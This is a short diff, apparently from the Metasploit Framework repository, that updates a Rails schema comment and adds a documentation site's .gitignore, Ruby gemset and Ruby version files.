-# you'll amass, the slower it'll run and the greater likelihood for issues).
+# This file is the source Rails uses to define your schema when running `bin/rails
+# db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to
+# be faster and is potentially less error prone than running all of your
+# migrations from scratch. Old migrations may fail to apply correctly if those
+# migrations use external dependencies or application code.
 #
 # It's strongly recommended that you check this file into your version control system.
 

docs/.gitignore

@@ -0,0 +1,10 @@
+_site
+.sass-cache
+.jekyll-cache
+.jekyll-metadata
+vendor
+
+# These files will be generated by build.rb and do not need to be committed
+docs
+metasploit-framework.wiki.old
+index.md

docs/.ruby-gemset

@@ -0,0 +1 @@
+metasploit-framework-docs

docs/.ruby-version

@@ -0,0 +1 @@
+3.0.2